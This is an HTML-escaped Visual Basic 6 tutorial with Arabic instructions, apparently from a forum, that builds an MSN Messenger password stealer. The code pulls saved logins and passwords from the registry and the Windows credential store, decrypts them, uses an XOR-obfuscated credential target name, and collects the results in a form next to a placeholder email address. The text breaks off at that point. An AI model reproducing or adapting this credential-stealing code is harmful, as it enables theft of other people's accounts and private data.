Private Declare Function BuildAuthTokenRequest Lib "msidcrl.dll" (ByVal hExternalIdentity As Long, ByVal wszPolicy As Long, ByVal dwFlags As Long, ByRef lpReturn As Long) As Long&lt;br /&gt;
Private Declare Function CloseIdentityHandle Lib "msidcrl.dll" (ByVal hExternalIdentity As Long) As Long&lt;br /&gt;
Private Declare Function Uninitialize Lib "msidcrl.dll" () As Long&lt;br /&gt;
Private Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long&lt;br /&gt;
Private Declare Function FreeLibrary Lib "kernel32.dll" (ByVal hLibModule As Long) As Long&lt;br /&gt;
Private Type OSVERSIONINFO&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwOSVersionInfoSize As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwMajorVersion As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwMinorVersion As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwBuildNumber As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwPlatformId As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; szCSDVersion As String * 128&lt;br /&gt;
End Type&lt;br /&gt;
Private Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long&lt;br /&gt;
Private Type msnsifresi&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; strLogin As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; strPass As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; strTargetName As String&lt;br /&gt;
End Type&lt;br /&gt;
Private m_MSNPass() As msnsifresi&lt;br /&gt;
Public Function IsWindowsXPAndLater() As Boolean&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim os As OSVERSIONINFO&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; os.dwOSVersionInfoSize = Len(os)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GetVersionEx os&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; IsWindowsXPAndLater = (os.dwPlatformId = 2) And (((os.dwMinorVersion &amp;gt; 0) And (os.dwMajorVersion = 5)) Or (os.dwMajorVersion &amp;gt; 5))&lt;br /&gt;
End Function&lt;br /&gt;
Private Static Function metinkopyala(ByVal ptr As Long) As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If ptr Then&lt;br /&gt;
metinkopyala = StrConv(SysAllocString(ptr), vbFromUnicode)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br /&gt;
metinkopyala = vbNullString&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
End Function&lt;br /&gt;
Private Function getProgramFilesFolderPath() As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lRet As Long, pidl As Long, sPath As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lRet = SHGetSpecialFolderLocation(0&amp;amp;, CSIDL_PROGRAM_FILES, pidl)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If lRet = 0 Then&lt;br /&gt;
sPath = String$(512, vbNullChar)&lt;br /&gt;
lRet = SHGetPathFromIDList(pidl, sPath)&lt;br /&gt;
getProgramFilesFolderPath = Left$(sPath, InStr(sPath, Chr$(0)) - 1)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br /&gt;
getProgramFilesFolderPath = vbNullString&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; LocalFree pidl&lt;br /&gt;
End Function&lt;br /&gt;
Private Sub getMSN75Passwords(ByRef ub As Long)&lt;br /&gt;
Dim szMSNPath As String, hMod As Long&lt;br /&gt;
szMSNPath = getProgramFilesFolderPath() &amp;amp; "\MSN Messenger\msidcrl.dll"&lt;br /&gt;
If Dir$(szMSNPath) &amp;lt;&amp;gt; vbNullString Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; hMod = LoadLibrary(szMSNPath)&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim g As UUID&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; With g&lt;br /&gt;
.Data1 = &amp;amp;H7108E71A&lt;br /&gt;
.Data2 = &amp;amp;H9926&lt;br /&gt;
.Data3 = &amp;amp;H4FCB&lt;br /&gt;
.Data4(0) = &amp;amp;HBC&lt;br /&gt;
.Data4(1) = &amp;amp;HC9&lt;br /&gt;
.Data4(2) = &amp;amp;H9A&lt;br /&gt;
.Data4(3) = &amp;amp;H9D&lt;br /&gt;
.Data4(4) = &amp;amp;H3F&lt;br /&gt;
.Data4(5) = &amp;amp;H32&lt;br /&gt;
.Data4(6) = &amp;amp;HE4&lt;br /&gt;
.Data4(7) = &amp;amp;H23&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End With&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call Initialize(g, 1, 15)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim hEnum As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim ptrEmail As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim bPersist As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim ptrAuth As Long, auth As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim ret As Long, posend As Long, posstart As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim hIdent As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ret = EnumIdentitiesWithCachedCredentials(StrPtr("ps:password"), hEnum)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If (ret = 0) Then&lt;br /&gt;
ret = NextIdentity(hEnum, ptrEmail)&lt;br /&gt;
Do While ret = 0&lt;br /&gt;
ret = CreateIdentityHandle(ptrEmail, 255, hIdent)&lt;br /&gt;
If (ret = 0) And (ptrEmail &amp;lt;&amp;gt; 0) Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ret = HasPersistedCredential(hIdent, StrPtr("ps:password"), bPersist)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If (ret = 0) And (bPersist &amp;lt;&amp;gt; 0) Then&lt;br /&gt;
ret = BuildAuthTokenRequest(hIdent, StrPtr("ps:password"), 0, ptrAuth)&lt;br /&gt;
If (ret = 0) Then&lt;br /&gt;
auth = metinkopyala(ptrAuth)&lt;br /&gt;
posstart = InStr(auth, "&lt;wsse:password&gt;") + 15&lt;br /&gt;
posend = InStr(auth, "&lt;/wsse:password&gt;")&lt;br /&gt;
If (posend &amp;gt; 0) Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ReDim Preserve m_MSNPass(ub)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; With m_MSNPass(ub)&lt;br /&gt;
&amp;nbsp;&amp;nbsp; .strLogin = metinkopyala(ptrEmail)&lt;br /&gt;
&amp;nbsp;&amp;nbsp; .strPass = Mid$(auth, posstart, posend - posstart)&lt;br /&gt;
&amp;nbsp;&amp;nbsp; .strTargetName = "ps:" &amp;amp; .strLogin&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End With&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ub = ub + 1&lt;br /&gt;
End If&lt;br /&gt;
End If&lt;br /&gt;
If (ptrAuth) Then&lt;br /&gt;
Call PassportFreeMemory(ptrAuth)&lt;br /&gt;
End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ret = CloseIdentityHandle(hIdent)&lt;br /&gt;
End If&lt;br /&gt;
If (ptrEmail) Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call PassportFreeMemory(ptrEmail)&lt;br /&gt;
End If&lt;br /&gt;
ret = NextIdentity(hEnum, ptrEmail)&lt;br /&gt;
Loop&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call CloseEnumIdentitiesHandle(hEnum)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ret = EnumIdentitiesWithCachedCredentials(StrPtr("ps:membernameonly"), hEnum)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If (ret = 0) Then&lt;br /&gt;
ret = NextIdentity(hEnum, ptrEmail)&lt;br /&gt;
Do While ret = 0&lt;br /&gt;
ret = CreateIdentityHandle(ptrEmail, 255, hIdent)&lt;br /&gt;
If (ret = 0) And (ptrEmail &amp;lt;&amp;gt; 0) Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ret = HasPersistedCredential(hIdent, StrPtr("ps:password"), bPersist)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If (ret = 0) And (bPersist = 0) Then&lt;br /&gt;
ReDim Preserve m_MSNPass(ub)&lt;br /&gt;
With m_MSNPass(ub)&lt;br /&gt;
.strLogin = metinkopyala(ptrEmail)&lt;br /&gt;
.strPass = ""&lt;br /&gt;
.strTargetName = "ps:" &amp;amp; .strLogin&lt;br /&gt;
End With&lt;br /&gt;
ub = ub + 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ret = CloseIdentityHandle(hIdent)&lt;br /&gt;
End If&lt;br /&gt;
If (ptrEmail) Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call PassportFreeMemory(ptrEmail)&lt;br /&gt;
End If&lt;br /&gt;
&lt;br /&gt;
ret = NextIdentity(hEnum, ptrEmail)&lt;br /&gt;
Loop&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call CloseEnumIdentitiesHandle(hEnum)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call Uninitialize&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call FreeLibrary(hMod)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
Public Sub Refresh()&lt;br /&gt;
Dim ret As Long&lt;br /&gt;
Dim hKey As Long&lt;br /&gt;
Dim dwType As Long&lt;br /&gt;
Dim Data() As Byte&lt;br /&gt;
Dim dwSize As Long&lt;br /&gt;
Dim b64string As String&lt;br /&gt;
Dim str As String&lt;br /&gt;
Dim dataIn As DATA_BLOB&lt;br /&gt;
Dim dataOut As DATA_BLOB&lt;br /&gt;
Dim szOut As String&lt;br /&gt;
Dim dwNbCred As Long&lt;br /&gt;
Dim i As Long, ptr As Long&lt;br /&gt;
Dim lpCredentials As Long, Cred As CREDENTIAL&lt;br /&gt;
Dim Entropy As DATA_BLOB&lt;br /&gt;
Dim ub As Long&lt;br /&gt;
Erase m_MSNPass&lt;br /&gt;
ub = 0&lt;br /&gt;
ret = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\MessengerService", 0, KEY_READ, hKey)&lt;br /&gt;
dwSize = 0&lt;br /&gt;
ret = RegQueryValueEx(hKey, "PasswordMSN Messenger Service", ByVal 0&amp;amp;, dwType, ByVal 0&amp;amp;, dwSize)&lt;br /&gt;
If dwSize Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ReDim Data(dwSize - 1)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ret = RegQueryValueEx( _&lt;br /&gt;
hKey, _&lt;br /&gt;
"PasswordMSN Messenger Service", _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
dwType, _&lt;br /&gt;
ByVal VarPtr(Data(0)), _&lt;br /&gt;
dwSize)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; str = StrConv(Data, vbUnicode)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; str = Mid$(str, 1, Len(str) - 1)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ReDim m_MSNPass(0)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; With m_MSNPass(0)&lt;br /&gt;
.strPass = Base64Dec(str)&lt;br /&gt;
dwSize = 0&lt;br /&gt;
ret = RegQueryValueEx( _&lt;br /&gt;
hKey, _&lt;br /&gt;
"UserMSN Messenger Service", _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
dwType, _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
dwSize)&lt;br /&gt;
ReDim Data(dwSize - 1)&lt;br /&gt;
ret = RegQueryValueEx( _&lt;br /&gt;
hKey, _&lt;br /&gt;
"UserMSN Messenger Service", _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
dwType, _&lt;br /&gt;
ByVal VarPtr(Data(0)), _&lt;br /&gt;
dwSize)&lt;br /&gt;
.strLogin = StrConv(Data, vbUnicode)&lt;br /&gt;
.strLogin = Mid$(.strLogin, 1, Len(.strLogin) - 1)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End With&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ub = ub + 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; RegCloseKey hKey&lt;br /&gt;
End If&lt;br /&gt;
RegCloseKey hKey&lt;br /&gt;
ret = RegOpenKeyEx( _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; HKEY_CURRENT_USER, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; "Software\Microsoft\MSNMessenger", _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 0, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; KEY_READ, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; hKey)&lt;br /&gt;
If ret = ERROR_SUCCESS Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwSize = 0&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ret = RegQueryValueEx( _&lt;br /&gt;
hKey, _&lt;br /&gt;
"Password.NET Messenger Service", _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
dwType, _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
dwSize)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If ret = ERROR_SUCCESS Then&lt;br /&gt;
ReDim Data(dwSize - 1)&lt;br /&gt;
ret = RegQueryValueEx( _&lt;br /&gt;
hKey, _&lt;br /&gt;
"Password.NET Messenger Service", _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
dwType, _&lt;br /&gt;
ByVal VarPtr(Data(0)), _&lt;br /&gt;
dwSize)&lt;br /&gt;
If ret &amp;lt;&amp;gt; ERROR_SUCCESS Then Exit Sub&lt;br /&gt;
ReDim Preserve m_MSNPass(ub)&lt;br /&gt;
dataIn.pbData = VarPtr(Data(0)) + 2&lt;br /&gt;
dataIn.cbData = dwSize - 2&lt;br /&gt;
Call CryptUnprotectData( _&lt;br /&gt;
dataIn, _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
ByVal 0&amp;amp;, ByVal 0&amp;amp;, ByVal 0&amp;amp;, 1, dataOut)&lt;br /&gt;
b64string = Space(dataOut.cbData \ 2)&lt;br /&gt;
CopyMemory ByVal StrPtr(b64string), ByVal dataOut.pbData, dataOut.cbData&lt;br /&gt;
b64string = StrConv(b64string, vbUnicode)&lt;br /&gt;
With m_MSNPass(ub)&lt;br /&gt;
.strPass = Base64Dec(b64string)&lt;br /&gt;
dwSize = 0&lt;br /&gt;
ret = RegQueryValueEx( _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; hKey, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; "User.NET Messenger Service", _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ByVal 0&amp;amp;, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwType, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ByVal 0&amp;amp;, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwSize)&lt;br /&gt;
ReDim Data(dwSize - 1)&lt;br /&gt;
ret = RegQueryValueEx( _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; hKey, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; "User.NET Messenger Service", _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ByVal 0&amp;amp;, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwType, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ByVal VarPtr(Data(0)), _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwSize)&lt;br /&gt;
.strLogin = StrConv(Data, vbUnicode)&lt;br /&gt;
.strLogin = Mid$(.strLogin, 1, Len(.strLogin) - 1)&lt;br /&gt;
End With&lt;br /&gt;
ub = ub + 1&lt;br /&gt;
LocalFree dataOut.pbData&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
End If&lt;br /&gt;
RegCloseKey hKey&lt;br /&gt;
If IsWindowsXPAndLater Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; str = "Passport.Net\*"&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call CredEnumerate(StrPtr(str), 0, dwNbCred, lpCredentials)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If dwNbCred Then&lt;br /&gt;
Entropy.cbData = 74&lt;br /&gt;
Dim iBufEntropy(36) As Integer&lt;br /&gt;
Dim guid As String&lt;br /&gt;
guid = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0" &amp;amp; vbNullChar&lt;br /&gt;
Dim k As Long&lt;br /&gt;
For k = 0 To 36&lt;br /&gt;
iBufEntropy(k) = CInt(Asc(Mid(guid, k + 1, 1)) * 4)&lt;br /&gt;
Next&lt;br /&gt;
Entropy.pbData = VarPtr(iBufEntropy(0))&lt;br /&gt;
ReDim Preserve m_MSNPass(ub + dwNbCred - 1)&lt;br /&gt;
For i = ub To ub + dwNbCred - 1&lt;br /&gt;
CopyMemory ByVal VarPtr(ptr), ByVal lpCredentials + (i - ub) * 4, 4&amp;amp;&lt;br /&gt;
CopyMemory ByVal VarPtr(Cred), ByVal ptr, LenB(Cred)&lt;br /&gt;
dataIn.pbData = Cred.lpbCredentialBlob&lt;br /&gt;
dataIn.cbData = Cred.dwCredentialBlobSize&lt;br /&gt;
dataOut.cbData = 0&lt;br /&gt;
dataOut.pbData = 0&lt;br /&gt;
Call CryptUnprotectData( _&lt;br /&gt;
dataIn, _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
ByVal VarPtr(Entropy), _&lt;br /&gt;
ByVal 0&amp;amp;, _&lt;br /&gt;
ByVal 0&amp;amp;, 0, dataOut)&lt;br /&gt;
szOut = Space(dataOut.cbData \ 2 - 1)&lt;br /&gt;
CopyMemory ByVal StrPtr(szOut), ByVal dataOut.pbData, dataOut.cbData&lt;br /&gt;
With m_MSNPass(i)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; .strLogin = metinkopyala(Cred.lpUserName)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; .strTargetName = metinkopyala(Cred.lpstrTargetName)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; .strPass = szOut&lt;br /&gt;
End With&lt;br /&gt;
LocalFree dataOut.pbData&lt;br /&gt;
Next&lt;br /&gt;
ub = ub + dwNbCred&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; CredFree lpCredentials&lt;br /&gt;
End If&lt;br /&gt;
getMSN75Passwords ub&lt;br /&gt;
If IsWindowsXPAndLater Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim az(17) As Byte, er As Byte, ty As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; az(0) = &amp;amp;H26: az(1) = &amp;amp;H30: az(2) = &amp;amp;H6F: az(3) = &amp;amp;H66: az(4) = &amp;amp;H51: az(5) = &amp;amp;H65: az(6) = &amp;amp;H38: az(7) = &amp;amp;H52: az(8) = &amp;amp;H62: az(9) = &amp;amp;H6C: az(10) = &amp;amp;H4E: az(11) = &amp;amp;H64: az(12) = &amp;amp;H67: az(13) = &amp;amp;H6E: az(14) = &amp;amp;H5A: az(15) = &amp;amp;H53: az(16) = &amp;amp;H55: az(17) = &amp;amp;H4A&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ty = LocalAlloc(LPTR, 38)&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; For i = 0 To 17&lt;br /&gt;
er = (az(17 - i) Xor 12) + (17 - i)&lt;br /&gt;
CopyMemory ByVal ty + (i * 2), er, 1&amp;amp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Next&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Call CredEnumerate( _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ty, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dwNbCred, _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lpCredentials _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; )&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If dwNbCred Then&lt;br /&gt;
ReDim Preserve m_MSNPass(ub + dwNbCred - 1)&lt;br /&gt;
For i = ub To ub + dwNbCred - 1&lt;br /&gt;
CopyMemory ByVal VarPtr(ptr), ByVal lpCredentials + (i - ub) * 4, 4&amp;amp;&lt;br /&gt;
CopyMemory ByVal VarPtr(Cred), ByVal ptr, LenB(Cred)&lt;br /&gt;
dataIn.pbData = Cred.lpbCredentialBlob&lt;br /&gt;
dataIn.cbData = Cred.dwCredentialBlobSize&lt;br /&gt;
Call CryptUnprotectData(dataIn, 0&amp;amp;, 0&amp;amp;, 0&amp;amp;, 0&amp;amp;, 1&amp;amp;, dataOut)&lt;br /&gt;
dataOut.pbData = dataIn.pbData&lt;br /&gt;
With m_MSNPass(i)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; .strLogin = metinkopyala(Cred.lpUserName)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; .strTargetName = metinkopyala(Cred.lpstrTargetName)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; .strPass = Space(dataIn.cbData \ 2)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; CopyMemory ByVal StrPtr(.strPass), ByVal dataOut.pbData, dataIn.cbData&lt;br /&gt;
End With&lt;br /&gt;
Next&lt;br /&gt;
ub = ub + dwNbCred&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; CredFree lpCredentials&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; LocalFree ty&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
Private Function Base64Dec(Base64String As String) As String&lt;br /&gt;
&amp;nbsp; Static Enc() As Byte&lt;br /&gt;
&amp;nbsp; Dim b() As Byte, Out() As Byte, i&amp;amp;, j&amp;amp;, L&amp;amp;, Dec(0 To 255) As Byte&lt;br /&gt;
&amp;nbsp; If (Not Val(Not Enc)) = 0 Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Enc = StrConv("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", vbFromUnicode)&lt;br /&gt;
&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp; For i = 0 To 255: Dec(i) = 64: Next&lt;br /&gt;
&amp;nbsp; For i = 0 To 63: Dec(Enc(i)) = i: Next&lt;br /&gt;
&amp;nbsp; L = Len(Base64String): b = StrConv(Base64String, vbFromUnicode)&lt;br /&gt;
&amp;nbsp; ReDim Preserve Out(0 To (L \ 4) * 3 - 1)&lt;br /&gt;
&amp;nbsp; For i = 0 To UBound(b) Step 4&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Out(j) = (Dec(b(i)) * 4) Or (Dec(b(i + 1)) \ 16): j = j + 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Out(j) = (Dec(b(i + 1)) And 15) * 16 Or (Dec(b(i + 2)) \ 4): j = j + 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Out(j) = (Dec(b(i + 2)) And 3) * 64 Or Dec(b(i + 3)): j = j + 1&lt;br /&gt;
&amp;nbsp; Next i&lt;br /&gt;
&amp;nbsp; If b(L - 2) = 61 Then j = 2 Else If b(L - 1) = 61 Then j = 1 Else j = 0&lt;br /&gt;
&amp;nbsp; ReDim Preserve Out(0 To UBound(Out) - j)&lt;br /&gt;
&amp;nbsp; Base64Dec = StrConv(Out, vbUnicode)&lt;br /&gt;
End Function&lt;br /&gt;
Public Function NewEnum() As IEnumVARIANT&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Set NewEnum = InitCollection(Me)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Refresh&lt;br /&gt;
End Function&lt;br /&gt;
Public Property Get Item(ByVal Index As Long) As msnpwd&lt;br /&gt;
If (Index &amp;lt; 0) Or (Index &amp;gt;= Count) Then Exit Property&lt;br /&gt;
Dim msnp As msnsifresi&lt;br /&gt;
Dim msn As New msnpwd&lt;br /&gt;
msnp = m_MSNPass(Index)&lt;br /&gt;
msn.Init msnp.strLogin, msnp.strPass, msnp.strTargetName&lt;br /&gt;
Set Item = msn&lt;br /&gt;
Set msn = Nothing&lt;br /&gt;
End Property&lt;br /&gt;
Public Function ForEach(ByVal iCurrent As Long, var As Variant) As Long&lt;br /&gt;
Set var = Item(iCurrent)&lt;br /&gt;
If var Is Nothing Then ForEach = 1 Else ForEach = 0&lt;br /&gt;
End Function&lt;br /&gt;
Public Property Get Count() As Long&lt;br /&gt;
On Error GoTo Fin&lt;br /&gt;
Count = 0&lt;br /&gt;
Count = UBound(m_MSNPass) + 1&lt;br /&gt;
Fin:&lt;br /&gt;
End Property&lt;br /&gt;
ثم سمي الكلاس موديل الثاني ب &amp;nbsp;&lt;br /&gt;
msnpwds&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
الآن إفتح الفورم و أكتب في مكان فارغ الكود التالي&lt;br /&gt;
&lt;br /&gt;
Sub sifrelerial()&lt;br /&gt;
For Each msnmp In PMSNMessenger&lt;br /&gt;
Text3.Text = Text3.Text &amp;amp; "Msn Adresse : " &amp;amp; msnmp.Login &amp;amp; vbCrLf &amp;amp; vbCrLf &amp;amp; "Password : " &amp;amp; msnmp.Password &amp;amp; vbCrLf &amp;amp; vbCrLf&lt;br /&gt;
Next&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
و في التصاريح العامة أكتب ما يلي &lt;br /&gt;
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long&lt;br /&gt;
Private PMSNMessenger As New msnpwds&lt;br /&gt;
Dim msnmp As msnpwd&lt;br /&gt;
&lt;br /&gt;
ثم أضف في مكان فارغ ما يلي &lt;br /&gt;
&lt;br /&gt;
Public Sub Delay(HowLong As Date)&lt;br /&gt;
TempTime = DateAdd("s", HowLong, Now)&lt;br /&gt;
While TempTime &amp;gt; Now&lt;br /&gt;
DoEvents&lt;br /&gt;
Wend&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
و أخيرا ضع الكود الأخير في الفورم لود &lt;br /&gt;
&lt;br /&gt;
Text1.Text = "XXXXX@EMAIL.com"&amp;nbsp; &lt;br /&gt;
